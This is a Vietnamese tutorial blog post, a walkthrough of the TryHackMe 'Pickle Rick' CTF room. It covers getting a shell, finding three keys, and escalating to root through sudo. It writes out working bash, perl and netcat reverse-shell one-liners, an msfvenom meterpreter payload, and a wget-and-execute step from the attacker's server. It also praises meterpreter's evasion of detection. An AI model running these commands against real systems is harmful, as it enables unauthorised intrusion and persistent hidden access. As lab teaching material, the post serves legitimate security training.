Linux Pentest Căn Bản – Bài 2: Tấn công, xâm nhập và kiểm soát server Pickle Rick – TryHackMe (Phần 2)

Xin chào,

Trong bài hôm nay, chúng ta sẽ tiến hành bước xâm nhập và nâng cấp quyền quản trị để kiểm soát hoàn toàn server Pickle Rick. Ở cuối bài, mình có trình bày thêm một phần kỹ thuật nhỏ dùng để tăng tính ổn định đường truyền từ máy Kali Linux đến server Pickle Rick.

Bài cũng sẽ bao gồm những tip pentest dành cho các bạn mới cũng như sơ lược quy trình penetration testing.

Một lưu ý với các bạn là mỗi khi bạn tắt và mở lại server Pickle Rick trên TryHackMe, server sẽ được tự động gán cho một IP address mới. Địa chỉ IP của bạn được cấp bởi VPN server của TryHackMe mỗi lần cũng có thể khác nhau. Nếu IP khác nhau, thì bạn nhớ cập nhật lại IP mới trong file text nhé.

Lưu ý cuối cùng của mình: Mỗi phòng CTF đều có nhiều hơn 1 cách để giải. Nhưng ở đây, đối tượng mà mình muốn hướng đến là những người chưa bao giờ pentest và mình muốn cho những bạn này thấy kiến thức trong các series của mình được áp dụng như thế nào, nên mình sẽ hướng dẫn cho các bạn cách theo cá nhân mình nghĩ là phù hợp nhất. Nếu bạn muốn thử nghiệm hoặc tìm ra cách pentest mới để lấy key thì cứ việc áp dụng tự nhiên nhé.


1/ Exploiting vulnerabilities (Tiến hành xâm nhập)

Ở bài trước, sau khi xâm nhập thành công vào admin dashboard của server Pickle Rick, chúng ta sẽ được giao diện như sau:

H1.1

Theo nhận định của mình, đây có thể là một trình điều khiển server bằng dòng lệnh. Chúng ta sẽ thử gõ vài lệnh và cho chạy thử để xác định xem nhận định của chúng ta có đúng hay không.

H1.2

Ở hình H1.2, mình đã thử gõ lệnh ls -l để liệt kê toàn bộ directories và files đang được chứa trong directory hiện tại và thấy kết quả trả về như mong muốn. Như vậy, ta có thể kết luận rằng, đây chính là trình điều khiển server bằng dòng lệnh.

Thông thường, chúng ta có thể sử dụng trình điều khiển này để pentest tiếp, nhưng lúc này lại có một vấn đề như thế này. Để có thể truy cập vào được trình điều khiển server bằng dòng lệnh này, chúng ta cần phải đăng nhập thành công vào admin dashboard, vậy điều gì sẽ xảy ra nếu như password và username bị thay đổi? Khả năng cao là chúng ta sẽ không thể truy cập vào trình điều khiển này được nữa và phải tìm một lỗi khai thác khác.

Để tránh trường hợp trên xảy ra, chúng ta sẽ thiết lập một TCP reverse shell. Hay có thể giải thích đơn giản rằng chúng ta sẽ thiết lập một kết nối TCP từ máy nạn nhân đến máy của pentester và chúng ta sẽ điều khiển máy nạn nhân thông qua kết nối TCP đó. Như vậy, chúng ta không cần phải lo lắng chuyện mất quyền truy cập vào trình điểu khiển nữa.

Khái niệm shell bạn nào quên có thể tìm hiểu thêm tại đây mục 1b.

Chúng ta thiết lập TCP reverse shell như sau:

B1: Chúng ta sẽ sử dụng dòng lệnh sau để kiểm tra xem trên server hiện tại có đang chạy bash, nc, ruby python hoặc perl không:

which bash; which nc; which python; which perl; which ruby

Bạn nào quên chức năng của operator ‘;’ có thể xem lại tại đây.

Sau khi chạy câu lệnh trên, chúng ta được kết quả sau:

H1.3

Dựa vào kết quả trên, chúng ta có thể kết luận rằng server nạn nhân hiện có chạy bash, nc và perl.

B2: Chúng ta sẽ truy cập vào trang sau để lấy câu lệnh tạo TCP reverse shell.

(Lưu ý: Vào thời điểm mình truy cập trang thì mình được trình duyệt báo lại là trang đang tồn tại phần mềm nguy hiểm, cá nhân mình đã vào trang này nhiều lần và chưa thấy chuyện gì xảy ra, tuy nhiên nếu bạn lo sợ thì có thể sử dụng file sau thay thế nhé).

Trang bên trên có bao gồm các câu lệnh của nhiều ngôn ngữ khác nhau, có thể được dùng để tạo reverse shell. Trong trường hợp của chúng ta, chúng ta sẽ thử 3 câu lệnh của Bash, nc và Perl nhé.

BASH 
bash -i >& /dev/tcp/<hacker-ip>/<hacker-port> 0>&1

PERL
perl -e 'use Socket;$i="<hacker-ip>";$p=<hacker-port>;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

NETCAT (NC)
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <hacker-ip> <hacker-port> >/tmp/f

Cách dùng của các câu lệnh trên:

Bạn sẽ thay địa chỉ ip của hacker vào vị trí <hacker-ip> và thay port number và vị trí <hacker-port>. Sau đó tìm cách thực thi câu lệnh trên ở bên trong server nạn nhân.

Các dòng lệnh trên có tác dụng thiết lập một kết nối từ server Pickle Rick tới máy của hacker. Tuy nhiên, để làm được điều đó, hacker phải cung cấp địa chỉ IP của mình, cũng như port mà hacker sẽ mở trên máy Kali để nhận reverse shell. Nếu câu lệnh chạy thành công, chúng ta sẽ nhận được reverse shell ngay tại port mà chúng ta đã chỉ định.

B3: Chúng ta sẽ thay địa chỉ IP và port number vào các vị trí cần thiết. (Lưu ý là port number phải là port đang không được sử dụng nhé).

Tip số 1: Kinh nghiệm của mình khi chọn port nhận reverse shell là mình sẽ chọn các port từ 3000 trở lên và thường sẽ chọn port 8888 hoặc 9999 vì dễ nhớ.

Để kiểm tra xem port hiện tại trên máy Kali là đang đóng hay mở, bạn có thể nmap chính máy Kali bằng câu lệnh sau:

sudo nmap -Pn -T4 -v -p 8888 10.2.46.46 

Với

  • -p: Là port cần kiểm tra
  • 10.2.46.46: Địa chỉ IP của máy Kali Linux

Nếu kết quả trả về như sau

PORT     STATE  SERVICE
8888/tcp closed sun-answerbook

Chúng ta có thể biết rằng port 8888 đang đóng và có thể được sử dụng và không cần quan tâm đến phần service.

Sau khi điền IP và port number xong, chúng ta sẽ được kết quả như bên dưới.

bash -i >& /dev/tcp/10.2.46.46/8888 0>&1

perl -e 'use Socket;$i="10.2.46.46";$p=8888;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.2.46.46 8888 >/tmp/f

B4: Trên máy Kali Linux, các bạn chạy câu lệnh sau để mở port 8888 đón reverse shell

nc -nlvp 8888

Với:

nc: Tên lệnh netcat

-nlvp: Kết hợp giữ các flag -n, -l, -v và -p

  • -n: Mang ý nghĩa chúng ta sẽ chỉ dùng IPv4 address, không dùng domain
  • -l: Chế độ lắng nghe
  • -v: Verbose – Cho biết quá trình lắng nghe đang diễn ra thế nào
  • -p: Chỉ định port để lắng nghe

Nói tóm lại, câu lệnh trên có nghĩa là chúng ta sẽ mở port 8888 trên máy Kali Linux để lắng nghe xem có reverse shell đến hay không. Nếu có reverse shell đến, nc sẽ bắt lấy và thiết lập kết nối.

B5: Chúng ta sẽ thử từng câu lệnh ở B3.

Với câu lệnh bash, sau khi chạy xong chúng ta không lấy được shell trả về, do đó chúng ta sẽ thử lệnh nc.

H1.4

Với câu lệnh Netcat (NC), sau khi chạy xong chúng ta được kết quả như sau, cho biết lệnh nc đã bị server Pickle Rick tắt đi. Chúng ta sẽ thử lệnh Perl.

H1.5

Với câu lệnh Perl, chúng ta đã thành công lấy được reverse shell, các bạn có thấy dòng “connect to 10.2.46.46 from 10.10.62.91” không? Đó là dòng thông báo cho chúng ta biết chúng ta đã thiết lập kết nối tcp thành công từ server Pickle Rick (IP: 10.10.62.91) đến máy Kali Linux (IP: 10.2.46.46).

H1.6

Vậy là chúng ta đã thành công trong việc xâm nhập hoàn toàn vào server Pickle Rick. Chúng ta sẽ kiểm tra xem account hiện tại của chúng ta là ai bằng câu lệnh

whoami

Và chúng ta có kết quả sau:

H1.7

Vì www-data không phải là account root, nên chúng ta sẽ cần phải tìm cách để privileges escalation (nâng quyền quản trị) để lấy được quyền quản trị cao nhất.

2/ Tìm key

Trước khi privileges escalation, chúng ta sẽ đi vòng vòng tìm key cái đã.

2a/ Key 1

Chúng ta sẽ dùng lệnh ls -la để kiểm tra thư mục hiện tại và chúng ta phát hiện có một file khả nghi tên Sup3rS3cretPickl3Ingred.txt

$ ls -la 
total 40
drwxr-xr-x 3 root   root   4096 Feb 10  2019 .
drwxr-xr-x 3 root   root   4096 Feb 10  2019 ..
-rwxr-xr-x 1 ubuntu ubuntu   17 Feb 10  2019 Sup3rS3cretPickl3Ingred.txt
drwxrwxr-x 2 ubuntu ubuntu 4096 Feb 10  2019 assets
-rwxr-xr-x 1 ubuntu ubuntu   54 Feb 10  2019 clue.txt
-rwxr-xr-x 1 ubuntu ubuntu 1105 Feb 10  2019 denied.php
-rwxrwxrwx 1 ubuntu ubuntu 1062 Feb 10  2019 index.html
-rwxr-xr-x 1 ubuntu ubuntu 1438 Feb 10  2019 login.php
-rwxr-xr-x 1 ubuntu ubuntu 2044 Feb 10  2019 portal.php
-rwxr-xr-x 1 ubuntu ubuntu   17 Feb 10  2019 robots.txt

Chúng ta sẽ dùng lệnh sau để xem nội dung bên trong

cat Sup3rS3cretPickl3Ingred.txt 

Mình đoán đây là key đầu tiên trong 3 key của server này mà ta cần lấy. Mình thử copy/paste vào ô đầu tiên trên TryHackMe và được thông báo chính xác.

2b/ Key 2

Chúng ta sẽ đi tìm key thứ 2, trước đó, mình sẽ dùng lệnh pwd, để kiểm tra xem, chúng ta đang ở directory nào và được phản hồi như sau

$ pwd 
/var/www/html

/var/www/html chính là webserver directory của Pickle Rick, chúng ta sẽ dùng lệnh cd để nhảy qua root directory “/”. (Những kiến thức này mình sẽ hướng dẫn ở phần sau của series Linux Căn Bản nhé).

cd /

Sau khi chuyển directory đến /, mình dùng lệnh ls -la thì được kết quả sau. (Vì kiến thức về hệ thống directory của Linux sẽ được mình giải thích kỹ trong các phần tiếp theo của series Linux Căn Bản, nên mình sẽ không đi quá sâu vào nó ở thời điểm hiện tại)

$ ls -la
total 88
drwxr-xr-x  23 root root  4096 Nov 11 05:16 .
drwxr-xr-x  23 root root  4096 Nov 11 05:16 ..
drwxr-xr-x   2 root root  4096 Nov 14  2018 bin
drwxr-xr-x   3 root root  4096 Nov 14  2018 boot
drwxr-xr-x  14 root root  3260 Nov 11 05:16 dev
drwxr-xr-x  94 root root  4096 Nov 11 05:16 etc
drwxr-xr-x   4 root root  4096 Feb 10  2019 home
lrwxrwxrwx   1 root root    30 Nov 14  2018 initrd.img -> boot/initrd.img-4.4.0-1072-aws
drwxr-xr-x  21 root root  4096 Feb 10  2019 lib
drwxr-xr-x   2 root root  4096 Nov 14  2018 lib64
drwx------   2 root root 16384 Nov 14  2018 lost+found
drwxr-xr-x   2 root root  4096 Nov 14  2018 media
drwxr-xr-x   2 root root  4096 Nov 14  2018 mnt
drwxr-xr-x   2 root root  4096 Nov 14  2018 opt
dr-xr-xr-x 131 root root     0 Nov 11 05:16 proc
drwx------   4 root root  4096 Feb 10  2019 root
drwxr-xr-x  25 root root   900 Nov 11 06:25 run
drwxr-xr-x   2 root root  4096 Nov 14  2018 sbin
drwxr-xr-x   5 root root  4096 Feb 10  2019 snap
drwxr-xr-x   2 root root  4096 Nov 14  2018 srv
dr-xr-xr-x  13 root root     0 Nov 11 05:16 sys
drwxrwxrwt   8 root root  4096 Nov 11 06:25 tmp
drwxr-xr-x  10 root root  4096 Nov 14  2018 usr
drwxr-xr-x  14 root root  4096 Feb 10  2019 var
lrwxrwxrwx   1 root root    27 Nov 14  2018 vmlinuz -> boot/vmlinuz-4.4.0-1072-aws

Ở thời điểm này, các bạn chỉ cần chú ý đến 3 directories đó là

  • home: Nơi chứa những directories của những người dùng thông thường. Những người dùng thông thường sẽ được phép truy cập vào directory home này, nhưng không được phép thay đổi những directories (ví dụ như thêm hoặc xóa) được chứa bên trong directory home.
  • root: Directory của root hay admin, người có quyền quản trị cao nhất và chỉ có root/admin mới được quyền truy cập vào đây.
  • tmp: đây là directory thường được dùng để lưu trữ những dữ liệu tạm thời, và được cấp quyền truy cập, sửa đổi và thực thi cho tất cả người dùng hệ thống (cả root lẫn người dùng thường). Vì lẽ, directory này rất hay bị lợi dụng làm nơi chuyển dữ liệu hoặc mã độc giữa máy hacker và máy nạn nhân. Cũng như hacker có thể chạy file mã độc ngay tại directory tmp để tấn công hệ thống.

Chúng ta sẽ cd đến home

cd home 

Và dùng lệnh ls -la

$ ls -la 
total 16
drwxr-xr-x  4 root   root   4096 Feb 10  2019 .
drwxr-xr-x 23 root   root   4096 Nov 11 05:16 ..
drwxrwxrwx  2 root   root   4096 Feb 10  2019 rick
drwxr-xr-x  4 ubuntu ubuntu 4096 Feb 10  2019 ubuntu

Kết quả trả về cho ta biết là có 2 người dùng bình thường là rick và ubuntu, và chúng ta có quyền truy cập vào cả 2 directories này. Có thể bạn sẽ thắc mắc, tại sao account www-data lại không có ở đây? Vì account www-data là account mặc định được hệ thống webserver (ví dụ như Apache hoặc Nginx, v.v.) sử dụng cho các tác vụ thường ngày. Đây là một account bình thường và không có quyền hạn gì đặc biệt.

Ok, chúng ta sẽ vào thử account rick

cd rick 

Và lại dùng lệnh ls -la.

$ ls -la
total 12
drwxrwxrwx 2 root root 4096 Feb 10  2019 .
drwxr-xr-x 4 root root 4096 Feb 10  2019 ..
-rwxrwxrwx 1 root root   13 Feb 10  2019 second ingredients

Chúng ta đã tìm được key thứ 2. Ở đây do tên file second ingredients có khoảng trống ở giữa, nên câu lệnh cat sẽ được thay đổi một tí thành

cat 'second ingredients'

Tip số 2: Khi gặp file mà trong tên có khoảng trống, để xem được nội dung file, hãy sử dụng dấu ‘ ‘. Ví dụ

cat ‘tên file’

Vậy là chúng ta đã có được key 2.

Chúng ta sẽ quay trở lại home và cd ubunt

cd ../ubuntu

Dùng câu lệnh ls -la chúng ta có kết quả sau

$ ls -la
total 40
drwxr-xr-x 4 ubuntu ubuntu 4096 Feb 10  2019 .
drwxr-xr-x 4 root   root   4096 Feb 10  2019 ..
-rw------- 1 ubuntu ubuntu  320 Feb 10  2019 .bash_history
-rw-r--r-- 1 ubuntu ubuntu  220 Aug 31  2015 .bash_logout
-rw-r--r-- 1 ubuntu ubuntu 3771 Aug 31  2015 .bashrc
drwx------ 2 ubuntu ubuntu 4096 Feb 10  2019 .cache
-rw-r--r-- 1 ubuntu ubuntu  655 May 16  2017 .profile
drwx------ 2 ubuntu ubuntu 4096 Feb 10  2019 .ssh
-rw-r--r-- 1 ubuntu ubuntu    0 Feb 10  2019 .sudo_as_admin_successful
-rw------- 1 ubuntu ubuntu 4267 Feb 10  2019 .viminfo

Ở đây chúng ta có 2 file để chú ý là .sudo_as_admin_successful và .ssh. Nhưng .sudo_as_admin_successful có số byte dữ liệu bằng 0 nên đây là một file trống. Còn directory .ssh không cho chúng ta quyền truy cập. Bạn có thể thử cd đến .ssh sẽ nhận được báo lỗi sau

$ cd .ssh
/bin/sh: 29: cd: can't cd to .ssh

Nên mình đoán, có thể key 3 sẽ nằm ở root directory. Như vậy, để lấy được key thứ 3, chúng ta cần thực hiện privileges escalation.

3/ Privileges escalation (Nâng quyền quản trị)

Privileges escalation là một lĩnh vực khá rộng và có vô số cách cũng như kỹ thuật để thực hiện. Trong đó có 2 cách phổ biến nhất đó là sử dụng

  1. Kernal exploit: Nghĩa là lợi dụng những lỗ hổng bảo mật nằm trong nhân Linux hoặc hệ điều hành Ubuntu để tiến hành nâng quyền quản trị.
  2. Sudo rights: Lợi dụng các công cụ được cấp quyền sử dụng để nâng quyền quản trị.

Chúng ta sẽ thử nghiệm cả 2 cách trên.

3a/ Kernel exploit

Chúng ta sẽ tiến hành thu thập dữ liệu của server Pickle Rick từ bên trong bằng các câu lệnh sau:

$ cat /etc/*release 
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=16.04
DISTRIB_CODENAME=xenial
DISTRIB_DESCRIPTION="Ubuntu 16.04.5 LTS"
NAME="Ubuntu"
VERSION="16.04.5 LTS (Xenial Xerus)"
ID=ubuntu
ID_LIKE=debian
PRETTY_NAME="Ubuntu 16.04.5 LTS"
VERSION_ID="16.04"
HOME_URL="http://www.ubuntu.com/"
SUPPORT_URL="http://help.ubuntu.com/"
BUG_REPORT_URL="http://bugs.launchpad.net/ubuntu/"
VERSION_CODENAME=xenial
UBUNTU_CODENAME=xenial

Câu lệnh trên sẽ cho mình biết được phiên bản ubuntu hiện tại đang chạy. Tiếp theo chúng ta sẽ sử dụng câu lệnh để tìm kernel version

$ cat /proc/*version 
Linux version 4.4.0-1072-aws (buildd@lcy01-amd64-026) (gcc version 5.4.0 20160609 (Ubuntu 5.4.0-6ubuntu1~16.04.10) ) #82-Ubuntu SMP Fri Nov 2 15:00:21 UTC 2018

Tổng kết lại chúng ta có những thông tin sau:

  1. Ubuntu 16.04.5 LTS
  2. Kernel 4.4.0-1072-aws
  3. Ở phần 1 chúng ta đã biết được máy hiện có Bash và Perl, tìm hiểu sâu hơn thì mình phát hiện server Pickle Rick còn có cả phần mềm gcc cho phép compile C code
which gcc
/usr/bin/gcc

Như vậy chúng ta có thể kết luận như sau:

Kết hợp cả 3 điều trên có nghĩa là chúng ta cần tìm một phần mềm khai thác lỗi cho phép nâng cấp quyền quản trị trên Ubuntu 16.04.5 LTS hoặc Kernel 4.4.0-1072-aws được viết bằng Bash, Perl, C hoặc có đuôi .elf (file thực thi trên Linux).

Tip số 3: Khi tìm lỗi để khai thác trên searchsploit hoặc Google, bạn cần phải tìm những lỗi mà phạm vi ảnh hưởng bao gồm cả version OS và Kernel của máy nạn nhân.

Ví dụ: Chúng ta có lỗi ABC có phạm vi ảnh hưởng từ Ubuntu 16.04.1 LTS đến Ubuntu 17.0.1 LTS chẳng hạn. Vì server nạn nhân của chúng ta hiện tại chạy Ubuntu 16.04.5 LTS nằm trong phạm vi ảnh hưởng, chúng ta có thể thử sử dụng nó để khai thác lỗi.

Tip số 4: Kernel exploit không phải lúc nào cũng thành công dù bạn đã tìm được lỗi mà phạm vi ảnh hưởng bao gồm luôn cả OS version hoặc kernel version của máy nạn nhân. Nếu máy đã được vá lỗi, thì việc tấn công thất bại là chuyện bình thường. Lúc này chúng ta cần tìm một hướng tấn công khác.

Sử dụng searchsploit chúng ta không thu được kết quả khả quan. Nên chúng ta sẽ thử trên Google.

H3.1

Tìm kiếm trên Google mình tìm thấy một kết quả khá tiềm năng đó là sử dụng lỗi dirty_sock để nâng quyền quản trị cho các máy Ubuntu version từ 18.10 về trước. Nhưng tìm hiểu sâu hơn mình thấy cả 2 phần mềm khai thác lỗi đều được viết bằng python3. Chúng ta có thể sử dụng vài ứng dụng Python để convert python3 thành elf nhưng do cách thực hiện khá phức tạp đối với các bạn trình độ căn bản, nên mình sẽ bỏ qua cách này.

H3.2
H3.33

Tìm kiếm lỗi cho Kernel 4.4.0-1072-aws cũng không mấy khả quan. Do không tìm được code khai thác lỗi phù hợp với version của kernel linux cần tìm, nên mình sẽ đi qua phần Sudo rights nhé.

H3.4

Tip số 5: Lí do mình tìm cả searchsploit và Google là vì searchsploit sử dụng cơ sở dữ liệu của exploitdb.com nên có thể nó sẽ không bao gồm các phần mềm khai thác lỗi được lưu trữ trên Github hoặc một website nào đó ngoài exploitdb.

Nếu chỉ sử searchsploit, khả năng chúng ta không có được phần mềm khai thác lỗi phù hợp với yêu cầu khá cao.

3B/ Sudo rights

Dành cho bạn nào chưa biết, tất cả mọi thứ từ thiết bị, công cụ, câu lệnh, interface, ip address, port, v.v trên Linux đều là một file. Do đó, việc bạn có thể sử dụng một công cụ ví dụ Perl hay một dòng lệnh ví dụ ls được hay không phụ thuộc hoàn toàn vào việc bạn có quyền tiếp cận, và thực thi với file Perl hoặc file ls hay không. (Mình sẽ phân tích ý này kỹ hơn trong series Linux Căn Bản, bạn nào muốn tìm hiểu trước có thể tham khảo bài sau)

Mỗi account trong hệ thống Linux thường sẽ được cấp phép sử dụng một số công cụ hoặc câu lệnh để thực hiện công việc của họ. Và các công cụ hoặc câu lệnh này nếu không được quản trị kỹ, chúng hoàn toàn có thể bị lợi dụng để nâng cấp lên quyền quản trị cao hơn, hoặc thậm chí là quyền quản trị root.

Chúng ta sẽ sử dụng câu lệnh sudo -l để kiểm tra xem account của chúng ta có thể sử dụng được những công cụ nào nhé.

$ sudo -l
Matching Defaults entries for www-data on
    ip-10-10-81-72.eu-west-1.compute.internal:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User www-data may run the following commands on
        ip-10-10-81-72.eu-west-1.compute.internal:
    (ALL) NOPASSWD: ALL

Dựa vào kết quả trên chúng ta có thể thấy, account của chúng ta có quyền sử dụng bất kỳ công cụ và câu lệnh nào đang có trên server Pickle Rick mà không cần phải cung cấp password của account hiện tại hoặc password của account root.. Chúng ta sẽ lợi dụng lỗ hổng này để nâng cấp quyền root bằng câu lệnh sau

sudo su

Câu lệnh sudo su sẽ cho phép bạn đăng nhập root account. Thông thường bạn sẽ bị hỏi mật khẩu của root, nhưng trong trường hợp này do server Pickle Rick cho phép toàn thể người dùng có quyền dùng bất cứ câu lệnh hoặc công cụ nào mà không cần phải cung cấp mật khẩu, nên chúng ta có thể lợi dụng câu lệnh sudo su để đăng nhập root.

H3B.1

Sau khi dùng lệnh sudo su, chúng ta sẽ bị mất đi dấu $, mình thử dùng lệnh whoami để kiểm tra thì kết quả trả về thông báo account đang được dùng là root. Vậy là chúng ta đã nâng quyền quản trị thành công.

Chúng ta sẽ cd đến directory root để lấy key thứ 3.

cd /root 

Sau đó dùng lệnh ls -la

ls -la
total 28
drwx------ 4 root root 4096 Feb 10 2019 .
drwxr-xr-x 23 root root 4096 Nov 11 07:48 ..
-rw-r--r-- 1 root root 29 Feb 10 2019 3rd.txt
-rw-r--r-- 1 root root 3106 Oct 22 2015 .bashrc
-rw-r--r-- 1 root root 148 Aug 17 2015 .profile
drwxr-xr-x 3 root root 4096 Feb 10 2019 snap
drwx------ 2 root root 4096 Feb 10 2019 .ssh

Chúng ta thấy có 1 file tên 3rd.txt, mình đoán đó có thể là key file cuối cùng. Dùng lệnh cat để kiểm tra.

cat 3rd.txt

Vậy là chúng ta đã lấy được cả 3 key của server Pickle Rick và lấy được quyền quản trị root. Với CTF, bạn đã hoàn thành thử thách tấn công, xâm nhập và chiếm quyền kiểm soát server Pickle Rick.

Với quyền root hiện tại, bạn có quyền làm bất cứ điều gì bạn thích với server Pickle Rick ví như tắt máy, dùng server này để tấn công các máy khác v.v.

Đến lúc này, nếu ghi chú đầy đủ, file text của bạn sẽ trông như thế này

H3B.2

Bạn có thể lưu lại bảng note này để sử dụng như một tóm tắt các bước bạn đã thực hiện để hoàn thành server Pickle Rick để mỗi khi quên, bạn có thể dễ dàng tra cứu lại.

Tip số 6: Google là người bạn thân. Trong quá trình pentest, việc bị bí sẽ rất thường xuyên xảy ra. Lúc đó hãy sử dụng đến Google để tìm giải pháp cho mình nhé.

4/ Duy trì kết nối đến server Pickle Rick

Lưu ý: Đây là phần mở rộng thêm với các kỹ thuật tương đối nâng cao so với trình độ căn bản, nên nếu bạn không quan tâm có thể bỏ qua nhé.

Trong CTF, sau khi hoàn thành phần 3 bên trên là đã có thể coi như bạn đã chiến thắng. Nhưng khi đi làm pentest, sẽ có khác biệt một tí. Khác biệt đó nằm ở chỗ kết nối TCP reverse shell của bạn đang dùng vẫn chưa phải là một kết nối bền vững và có thể bị can thiệp bất cứ lúc nào do kết nối trên có thể bị phát hiện bởi Task Manager. Chưa kể đường truyền TCP reverse shell không được mã hóa, dễ dẫn đến tình trạng lộ thông tin nhạy cảm của cả pentester lẫn nạn nhân.

Để phòng tránh việc đó, chúng ta sẽ nâng cấp đường truyền từ TCP reverse shell thành Meterpreter shell. Ưu điểm của Meterpreter shell so với TCP reverse shell như sau:

  • Meterpreter sử dụng in-memory DLL injection, nghĩa là nó sẽ chỉ ghi dữ liệu trên RAM mà thôi, và không ghi gì vào ổ cứng cả, do đó hạn chế việc để lại dấu vết.
  • Kết nối meterpreter không tạo ra process mới mà sẽ tự inject nó vào process đã bị tấn công khiến nó gần như vô hình trước các chương trình như Task Manager trên Windows. Khi process bị meterpreter tấn công bị kill, meterpreter sẽ tự động nhảy sang một process khác để duy trì kết nối.
  • Kết nối meterpreter được mã hóa.
  • Do meterpreter là một tính năng của Metasploit, sử dụng meterpreter cho phép pentester sử dụng luôn các module post-exploitation ví dụ như keyblogger, cổng hậu, v.v. có sẵn trên Metasploit để tấn công sâu hơn vào hệ thống của nạn nhân.

Chúng ta sẽ bắt đầu nâng cấp đường truyền từ TCP reverse shell thành Meterpreter shell.

B1: Tạo file chứa meterpreter shell. Chúng ta sẽ dùng công cụ msfvenom của metasploit để tạo một file meterpreter.

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.2.46.46 LPORT=9999 -f elf -o shell.elf

Trong câu lệnh trên ta có:

  • msfvenom: Tên câu lệnh
  • -p linux/x86/meterpreter/reverse_tcp: Dạng payload hay dạng kết nối sẽ sử dụng
  • LHOST và LPORT: Địa chỉ IP và port dùng để nhận shell trên máy Kali của hacker
  • -f: Format của dữ liệu đầu ra. Ở đây mình chọn elf là extension file thực thi của Linux.
  • -o: Xuất ra file có tên là shell.elf
H4.2

B2: Chúng ta sẽ chuyển file shell.elf vừa tạo từ máy Kali đến server Pickle Rick bằng cách sử dụng câu lệnh sau

python -m SimpleHTTPServer 8000

Câu lệnh trên sử dụng một module của Python có tên là SimpleHTTPServer để biến directory hiện tại thành một webserver cho phép trao đổi file tại port 8000 với địa chỉ IP là IP của hacker. Webserver này có thể được truy cập bởi tất cả các máy ở trong cùng mạng và đương nhiên là cả server Pickle Rick nữa.

H4.3

Nếu muốn bạn có thể thử truy cập vào webserver vừa được tạo bằng trình duyệt Firefox bằng cách gõ vào thanh url địa chỉ IP của bạn kết hợp dấu ‘:’ và port 8000 như hình bên dưới. Bạn có thể thử click vào các file được liệt kê ra để download file.

H4.4

B3: Trên server pickle rick, các bạn thực hiện lệnh sau để download file shell.elf từ máy Kali Linux và lưu vào directory hiện tại

wget http://10.2.46.46:8000/shell.elf

Lưu ý là bạn cần thay địa chỉ IP và port number cho phù hợp với IP và port bạn đang dùng nhé.

Sau khi lệnh chạy xong, bạn có thể dùng lệnh ls để kiểm tra thử. Nếu thấy file shell.elf nghĩa là bạn đã chuyển file thành công.

H4.5

Một lưu ý khác là account mà mình đang dùng thực hành nãy giờ là account root và mình đang lưu file shell.elf vào /root directory do mình có quyền write vào directory này. Nếu bạn đang thực hành với account www-data, bạn cần phải chuyển về directory /tmp trước rồi mới download file nhé. Command chuyển như sau:

cd /tmp

B4: Trên máy Kali Linux, bạn cần mở một chương trình có tên là multi handler để đón meterpreter shell bằng cách thực hiện các lệnh sau:

msfconsole
use exploit/multi/handler
set LHOST <IP của bạn>
set LPORT <Port bạn đã dùng trong command msfvenom bên trên>
set PAYLOAD linux/x86/meterpreter/reverse_tcp
exploit

Do kết nối meterpreter có phần đặt biệt nên bạn không thể dùng netcat để đón kết nối như TCP reverse shell được. Sau khi thực hiện xong các câu lệnh trên, bạn sẽ được như hình bên dưới.

H4.6

B5: Trên server Pickle Rick, các bạn sẽ chạy câu lệnh sau để cấp toàn quyền đọc, thay đổi và thực thi file shell.elf cho root

chmod 700 shell.elf

Câu lệnh chmod này cũng sẽ được học trong bài tiếp theo của series Linux Căn Bản.

Sau đó, chúng ta chạy file shell.elf

./shell.elf

Kiểm tra trên máy Kali Linux, nếu được như hình bên dưới là bạn đã thành công thiết lập meterpreter reverse shell từ server Pickle Rick đến máy Kali Linux..

H4.7

Bạn có thể gõ thêm lệnh shell để có thể tương tác với server Pickle Rick

shell
H4.8

Vậy là bạn đã thành công tạo nên một kết nối bền vững từ máy bạn đến server của Pickle Rick.


Hi vọng các bạn đã học được những kiến thức bổ ích qua loạt bài tấn công server Pickle Rick và phần nào thấy được tầm quan trọng của việc biết sử dụng Linux Command Line, công cụ Kali Linux cũng như lợi ích của việc có kiến thức căn bản về hệ thống mạng.

Tuần sau chúng ta sẽ tiếp tục series Linux Căn Bản, hi vọng các bạn đón theo dõi nhé.

Xin cám ơn,

Vincent Nguyễn

Source:

https://askubuntu.com/questions/873839/what-is-the-www-data-user#:~:text=www%2Ddata%20is%20the%20user,that%20www%2Ddata%20can%20access.&text=Some%20web%20servers%20run%20as%20www%2Ddata.
https://www.tecmint.com/explanation-of-everything-is-a-file-and-types-of-files-in-linux/

Advertisement

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s